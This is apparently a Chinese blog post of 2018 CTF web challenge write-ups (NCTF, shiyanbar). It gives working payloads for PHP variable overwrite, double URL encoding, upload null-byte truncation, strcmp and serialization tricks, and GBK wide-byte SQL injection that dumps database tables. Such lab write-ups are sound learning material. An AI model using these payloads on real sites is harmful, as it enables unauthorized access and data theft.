2018.3.5

NCTF-变量覆盖

原题链接:

http://ctf.nuptsast.com/challenges#%E5%8F%98%E9%87%8F%E8%A6%86%E7%9B%96

分析:

看源码:

<?php if ($_SERVER["REQUEST_METHOD"] == "POST") { ?><?phpextract($_POST);if ($pass == $thepassword_123) { ?><div class="alert alert-success"><code><?php echo $theflag; ?></code></div><?php } ?><?php } ?>

比较乱,整理一下:

<?php if ($_SERVER["REQUEST_METHOD"] == "POST") {extract($_POST);if ($pass == $thepassword_123) { echo $theflag; }
?>

可以看到有函数extract($_POST); 结合变量覆盖,(变量覆盖漏洞)。
只要将两个变量的值改成一样的,就可以覆盖了。

payload:

flag:

nctf{bian_liang_fu_gai!}

知识点:

变量覆盖

NCTF-PHP是世界上最好的语言

原题链接:

http://ctf.nuptsast.com/challenges#PHP%E6%98%AF%E4%B8%96%E7%95%8C%E4%B8%8A%E6%9C%80%E5%A5%BD%E7%9A%84%E8%AF%AD%E8%A8%80

分析:

得到第一个提示:index.txt
访问后,得到源码:

<?php
if(eregi("hackerDJ",$_GET[id])) {echo("<p>not allowed!</p>");exit();
}$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{echo "<p>Access granted!</p>";echo "<p>flag: *****************} </p>";
}
?><br><br>
Can you authenticate to this website?

分析源码,容易得到结论:
id不能是hackerDJ,但是url转码后要是hackerDJ。

比较容易想到,构造一个hackerDJ,urlencoding:

%68%61%63%6b%65%72%44%4a

但是由于输入url会有一次urldecoding,然后php里又有一次urldecoing,所以一共是两次urldecoding,因此,需要相应的两次urlencoing。即%68变成%2568。
最后的payload:

%2568%2561%2563%256b%2565%2572%2544%254a

payload:

http://way.nuptzj.cn/php/index.php?id=%2568%2561%2563%256b%2565%2572%2544%254a

flag:

nctf{php_is_best_language}

知识点:

代码审计


2018-3-6

NCTF-上传绕过

分析:

直接上传图片(我上传的是.gif格式),结果:

Array ( [0] => .gif [1] => gif ) Upload: hack.gif
Type: image/gif
Size: 0.0380859375 Kb
Stored in: ./uploads/8a9e5f6a7a789acb.phparray(4) { [“dirname”]=> string(9) “./uploads” [“basename”]=> string(8) “hack.gif” [“extension”]=> string(3) “gif” [“filename”]=> string(4) “hack” }
必须上传成后缀名为php的文件才行啊!

直接上传.php文件,结果:

Array ( [0] => .php [1] => php ) 不被允许的文件类型,仅支持上传jpg,gif,png后缀的文件

于是尝试上传图片修改后缀,发现不行。
猜测要利用%00截断,构造hack.php .jpg然后空格Hex修改为00绕过上传,发现无法绕过。
有点懵逼。。。

后来发现,上传的包里面有upload字段:

所以,容易想到利用upload字段,构造/uploads/hack.php ,然后将空格换成chr(0), 这样,由于代码检测的是filename的格式要是图片格式。检测最后上传的文件路径变为了upload/hack.php(%00)hack.gif。

成功绕过!

payload:

构造/uploads/hack.php ,然后将空格换成chr(0)

flag:

nctf{welcome_to_hacks_world}

知识点:

上传漏洞,截断漏洞

NCTF- Header

原题链接:

http://ctf.nuptsast.com/challenges#Header

分析:

水题:flag就在消息头里。

flag:

nctf{tips_often_hide_here}

知识点:

??脑洞==、

pass check

原题链接:

http://ctf.nuptsast.com/challenges#pass%20check

<?php
$pass=@$_POST['pass'];
$pass1=***********;//被隐藏起来的密码
if(isset($pass))
{
if(@!strcmp($pass,$pass1)){
echo "flag:nctf{*}";
}else{
echo "the pass is wrong!";
}
}else{
echo "please input pass!";
}
?>

分析:

php弱类型:strcmp
参考 https://www.cnblogs.com/Mrsm1th/p/6745532.html

strcmp(array,string)=null=0

现在$pass1为string,只要pass为数组就OK了。

payload:

pass[]=[1,2,3]

flag:

flag:nctf{strcmp_is_n0t_3afe}

知识点:

php弱类型


2018-3-8

NCTF-sql注入1

原题链接:

http://ctf.nuptsast.com/challenges#SQL%E6%B3%A8%E5%85%A51

分析:

看到有源代码,白盒测,大大降低了难度。

<?php
if($_POST[user] && $_POST[pass]) {mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);mysql_select_db(SAE_MYSQL_DB);$user = trim($_POST[user]);$pass = md5(trim($_POST[pass]));$sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";echo '</br>'.$sql;$query = mysql_fetch_array(mysql_query($sql));if($query[user]=="admin") {echo "<p>Logged in! flag:******************** </p>";}if($query[user] != "admin") {echo("<p>You are not admin!</p>");}
}
echo $query[user];
?>

看完源码,很容易想到构造POST

user=admin') or 1=1 --+

但是怎么试都不对,这里我掉进了一个坑。

没看道函数trim!!!

trim — 去除字符串首尾处的空白字符(或者其他字符)

所以,我直接用–+ 空格(+)被去除,导致没有注释成功。

解决办法很简单,#代替–+注释就行了。

payload:

admin’) #

flag:

nctf{ni_ye_hui_sql?}

知识点:

sql注入

NCTF-起名字真难

原题链接:

http://chinalover.sinaapp.com/web12/index.php

分析:

直接给出源码:

<?phpfunction noother_says_correct($number)
{$one = ord('1');$nine = ord('9');for ($i = 0; $i < strlen($number); $i++){   $digit = ord($number{$i});if ( ($digit >= $one) && ($digit <= $nine) ){return false;}}return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))echo $flag;
else echo 'access denied';
?>

这段php的意思,大概就是得到一个数字key,其每一位要和54975581388一样。但是每一位又不能是数字。

我在想,都不是数字? 可能只能是16进制的特殊情况才可能。
试了一下,结果:

>>> hex(54975581388)
'0xccccccccc'

嘿嘿,这题还是凑好的呀!

payload:

http://chinalover.sinaapp.com/web12/index.php?key=0xccccccccc

flag:

nctf{follow_your_dream}

知识点:

代码审计,一点脑洞


2018-3-9

NCTF-密码重置

原题链接:

http://ctf.nuptsast.com/challenges#%E5%AF%86%E7%A0%81%E9%87%8D%E7%BD%AE

分析:

试了一下,直接改账号,改不了。注意到url:

http://nctf.nuptzj.cn/web13/index.php?user1=%59%33%52%6D%64%58%4E%6C%63%67%3D%3D

user1后面是一段base64编码。解码得:ctfuser。
现在知道应该在这里修改user的值,提示重置admin的密码。

>>> import base64
>>> print(base64.b64encode(b'admin'))
b'YWRtaW4='

得到user1=YWRtaW4=,
再修改相应的user=admin,密码和验证码即可得到flag。

payload:

flag:

nctf{reset_password_often_have_vuln}

知识点:

越权?

NCTF-php 反序列化

原题链接:

http://ctf.nuptsast.com/challenges#php%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96

题目现在上不去,不知道原因,但是好在能看源码,大致可以分析一下。

分析:

通过这道题算是萌新第一次遇见反序列化漏洞。
参考很多资料,才有所了解:
http://blog.csdn.net/qq_32400847/article/details/53873275
http://www.freebuf.com/vuls/80293.html
https://www.seebug.org/vuldb/ssvid-92404

简单地说:
serialize() 把某种含有结构的数据进行转换,其结果为某种规定格式的字符串。

unserialize() 将已序列化的字符串恢复为原来的格式或结构

但是,由于在反序列化的时候,回自动调用魔术方法,导致漏洞的产生。

<?php
class just4fun {var $enter;var $secret;
}if (isset($_GET['pass'])) {$pass = $_GET['pass'];if(get_magic_quotes_gpc()){$pass=stripslashes($pass);}$o = unserialize($pass);if ($o) {$o->secret = "*";if ($o->secret === $o->enter)echo "Congratulation! Here is my secret: ".$o->secret;else echo "Oh no... You can't fool me";}else echo "are you trolling?";
}
?>

读懂这段PHP不难。o变量将得到的pass值进行反序列化,得到相应的对象值。
o->secret === o->enter. 即可得到flag。

由于很难构造相等,那么查看资料知:

在PHP 中普通的传值赋值行为有个例外就是碰到对象 object时,在 PHP 5 中是以引用赋值

$var = &$othervar;

引用赋值意味着两个变量指向了同一个数据,没有拷贝任何东西。满足了条件。

payload:

构造php:

<?php
class just4fun {var $enter;
var $secret;
}$o = new just4fun();
$o->enter = &$o->secret; //这里是重点。我们使用引用传参的特点,让$o->secret的值和$o->enter的值,这样两个变量就永远相等了
echo serialize($o);
?>

得到反序列化的字符串:

O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}

flag:

由于网站上不去,无法测试,但是搜索大神的payload,一致。

知识点:

php反序列化


2018-3-10

实验吧-天网管理系统

原题链接:

http://www.shiyanbar.com/ctf/1810

分析:

打开url,查看源代码,发现这样一句话:

</form>
<!-- $test=$_GET['username']; $test=md5($test); if($test=='0') -->
</body>
</html>

显然是提示咯。
md5($test) = ‘0’
这是很熟悉的。百度一些md5值为0e开头的字符串:

QNKCDZO
0e830400451993494058024219903391s878926199a
0e545993274517709034328855841020s155964671a
0e342768416822451524974117254469

随便拿一个带进username用就OK了。
得到一个提示:

/user.php?fame=hjkleffifer

打开url:http://ctf5.shiyanbar.com/10/web1/user.php?fame=hjkleffifer
得到一段代码:

$unserialize_str = $_POST['password'];$data_unserialize = unserialize($unserialize_str);if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???'){print_r($flag);}
伟大的科学家php方言道:成也布尔,败也布尔。
回去吧骚年

昨天刚做过一个反序列化漏洞的题,今天特地找了另一题看看,发现这里就有反序列化。
对收到的password进行反序列化,得到的user=’???’&&pass = ‘???’
一开始以为,要构造
password->user = ???
password->pass = ???
但是php构造不了这样的值,那么换字符串?别闹了!
别忘了还有一句提示:
伟大的科学家php方言道:成也布尔,败也布尔
回去吧骚年

所以,这里还用到了弱类型的知识:
bool的true和任意字符串弱类型相等!!!
所以构造的user(bool)和password(bool)的值为true即可。

<?php
$payload = array('user'=>true,'pass' => true);
echo serialize($payload);
?>

得到:

a:2:{s:4:"user";b:1;s:4:"pass";b:1;}

payload:

a代表array,s代表string,b代表bool,i代表int:

a:2:{s:4:"user";b:1;s:4:"pass";b:1;}
或
a:2:{s:4:"user";i:1;s:4:"pass";i:1;}

flag:

ctf{dwduwkhduw5465}

知识点:

php反序列化,php弱类型,md5

NCTF-SQL injection 3

原题链接:

http://ctf.nuptsast.com/challenges#sql%20injection%203

分析:

看url,GBK,很敏感的想到可能是宽字节注入。
试了一下id= 1’,得到:

your sql:select id,title from news where id = '1\''
Hello World!OVO

有转义,猜测大概正确。
一般来说,有转义,说明sql内将 ’ : 这类的符号 过滤(通过给’ 加上一个\,转义),但是在宽字节的sql内,即GBK编码的sql内。
可以用%df%27,代替原来的%27(’),使得转义失效。即:

\'   ====>  (%5c%df)%27  ()中组成新的gbk字符,運  使得后面的%27(')逃逸出来。

了解到这个,接下来的操作就很简单了。
查库:

id=-1%df' union select 1,database()#

sae-chinalover

爆表:

id=-1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() %23

ctf,ctf2,ctf3,ctf4,news

爆字段(选择ctf4,一个个试过来的==、):

id=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746634 %23

这里有一点要注意:table_name=0x63746632

id,flag

爆内容:

id=-1%df' union select 1,group_concat(id,0x3a,flag) from ctf4 %23

后话

测试表ctf2的时候,发现这个,

1020:no msg in 1020,
1021:no msg in 1021 too,
1022:no msg in 1022,
1023:no msg in 1023~~~,
1024:the flag is:nctf{query_in_mysql},
1025:no more

马德,这里的flag,竟然是假的。被坑了!!!

payload:

id=-1%df' union select 1,group_concat(id,0x3a,flag) from ctf4 %23

flag:

nctf{gbk_3sqli}

知识点:

sql注入、宽字节


2018-3-11

NCTF-sql injection 4

原题链接:

http://chinalover.sinaapp.com/web15/index.php

分析:

查看源码,发现有源码提示。

<?php
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';function clean($str){if(get_magic_quotes_gpc()){$str=stripslashes($str);}return htmlentities($str, ENT_QUOTES);
}$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){die('Invalid password!');
}echo $flag;
?>

代码审计:
1.

// Turn off all error reporting
error_reporting(0);
  1. 当 magic_quotes_gpc 打开时,所有的 ’ (单引号), ” (双引号), \ (反斜线) 和 空字符会自动转为含有反斜线的转义字符。
  2. stripslashes — 反引用一个引用字符串

返回一个去除转义反斜线后的字符串(\’ 转换为 ’ 等等)。双反斜线(\)被转换为单个反斜线(\)。

  • htmlentities — 将字符转换为 HTML 转义字符
    ENT_QUOTES 既转换双引号也转换单引号。
  • 那么应该看得懂了:
    要想避开查询,就必须构造一个全真代码,加一个or 1=1但之前就多了一个引号
在这里由于'被转义,所以可以使用\转义\,变成
\\',这样原来的'缺少转义,而失去意义。

所以payload:

http://chinalover.sinaapp.com/web15/index.php?username=admin\&password= or 1=1%23

大致插入进去的查询语句是

SELECT * FROM users WHERE name=’admin\’ AND pass=’ or 1=1#’; (加粗部分便成了现在的name。)

payload:

http://chinalover.sinaapp.com/web15/index.php?username=admin\&password= or 1=1%23

flag:

nctf{sql_injection_is_interesting}

知识点:

NCTF-丘比龙De女神

原题链接:

http://ctf.nuptsast.com/challenges#%E4%B8%98%E6%AF%94%E9%BE%99De%E5%A5%B3%E7%A5%9E

分析:

先放进binwalk看看

发现有个压缩包,还给出了偏移量。
在01editor中,找到位置,发现是压缩包标志PK,前面还有nvshen.jpg。

再查找一下nvshen.jpg,发现在另一位置

提示没有无缘无故的love。
这里有6C 6F 76 65 14 00 01 08 00 这个有没有很熟悉,在哪里的zip伪加密里出现过。把 6C 6F 76 65 14 00 01 08 00 到末尾截取出来,
另存为zip文件。

打开提示文件压缩损坏,修改zip文件格式
50 4B 03 04 14 00 00 00替换6C 6F 76 65 14 00 01 00

成功解压,发现要密码,love。

导出图片:

接下来计算md5,
http://www.atool.org/file_hash.php

即可得到flag。

知识点:

隐写,压缩包zip格式的相关知识。

每日CTF week1相关推荐

  1. “百度杯”CTF比赛 十一月场Mangager

    此题前半部分分析见"百度杯"CTF比赛 十一月场 题目名称:Mangager_CodeRoc的博客-CSDN博客 每日CTF Web:Mangager_LUV_YOUJUN的博客- ...

  2. mysql学习计划_MySQL学习计划

    2019.1.15更新 没有按照既定计划执行,借口当然是一大堆,耐心得读完了这本书,受益匪浅,解决了我日报和周报中的很多问题,虽然离目标还有很大的距离,但是这本书让我看到了希望,科技改变世界,这一行行 ...

  3. [CTF] 每日一题汇总

    [CTF] 每日一题汇总 WEB 编号 题目 知识点 No.0001 博兹瓦纳-爆破 zip伪加密.CRC校验 No.0002 莫桑比克-php是最好的语言 php伪协议.data协议 No.0003 ...

  4. CTF每日一题之ACII码编码

    好久没写了...因为好久没做题了,最近又开始偷懒了,愁人.今天发现了一个新的CTF平台,很有意思,不过缺点是没有中文,不过这没有关系,谁叫我谷歌翻译用的贼6,今天是个签到题,就不多说了. 题目链接:h ...

  5. CTF 【每日一题 20160707】凯撒加密

    来源:http://ctf.idf.cn/index.php?g=game&m=article&a=index&id=35 题目:凯撒加密 大概就是这样吧,不能告诉你再多了.. ...

  6. 蓝桥杯集训·每日一题Week1

    前缀和(Monday) AcWing 3956. 截断数组(每日一题) 思路: 首先可以预处理出前缀和.判断数组长度如果小于 333 或者前 nnn 项不是 333 的倍数,则可以直接输出 000. ...

  7. CTF【每日一题20160613】

    谁是卧底 原题:http://ctf.idf.cn/index.php?g=game&m=article&a=index&id=49 武林中某知名杀手在一次任务中失败,然后逃窜 ...

  8. 寒假每日一题2022【week1 完结】

    目录 2058. 笨拙的手指[枚举] 2041. 干草堆[差分] 2060. 奶牛选美[dfs + 思维] 2019. 拖拉机[双端队列] 2014. 岛[思维+离散化] 2005. 马蹄铁[dfs] ...

  9. 寒假每日一题(入门组)【week1 完结】

    目录 104. 货仓选址[贪心] 898. 数字三角形[递推] 104. 货仓选址[贪心] https://www.acwing.com/problem/content/106/ #include&l ...

最新文章

  1. Spring定时器--时间设置规则
  2. 将来自另一个分支的所有更改合并为单个提交
  3. linux下postgresql服务,Linux下PostgreSQL数据库安装、配置与日常服务管理
  4. shell mysql版本_mysql版本5.5.x升级到5.6.x步骤分享
  5. 5g的负面影响_设计系统的实施是否会对早期概念产生负面影响?
  6. java中使用es的dsl_基于DSL的基于图论的Java程序中输入图数据的方法
  7. 【LDPC系列2】基于MATLAB中LDPC编译码器对象的图像传输通信系统仿真(IEEE 802.16e标准协议基础矩阵)
  8. 理解 python 装饰器
  9. 2014年Q1台湾域名总量涨幅增95.7% 净增1201个
  10. java 迷宫最短路径_用Java实现迷宫最短路径算法
  11. java 查找素数_在Java中查找和检查素数
  12. java cas单点登录_JAVA - 登录 单点登录 cas
  13. php laravel手册,学习Laravel
  14. 计算机键盘上的tab键是什么键,键盘Tab键有什么作用?
  15. 注册apple id方法
  16. 查计算机主板,如何查看计算机主板的型号
  17. 医院信息系统基本功能规范---医疗保险接口功能规范
  18. 苹果4计算机错误怎么办,苹果刷机失败卡在恢复模式怎么办?
  19. 本篇和开发无关,查询MFI认证的办法
  20. 在单面打印机上使用WPS实现手工双面打印

热门文章

  1. [转]Linux相关图书选购指南
  2. 轻松5招提高你的点击率!!!
  3. developerWorks 中文社区
  4. golang执行命令exit status xxx
  5. 微信公众号获取access_token,报错invalid ip xxx.xxx.xxx.xxx
  6. 前后端分离实现高校学生健康档案管理系统
  7. 3D地球的生成(一)——生成全球的3D图
  8. 【键盘映射】AHK自定义Windows脚本
  9. 英雄远征Erlang源码分析(11)-物品相关操作解析
  10. 施耐德马达保护器LTMR_08EBD+EV40与施耐德M580PLC通讯简单配置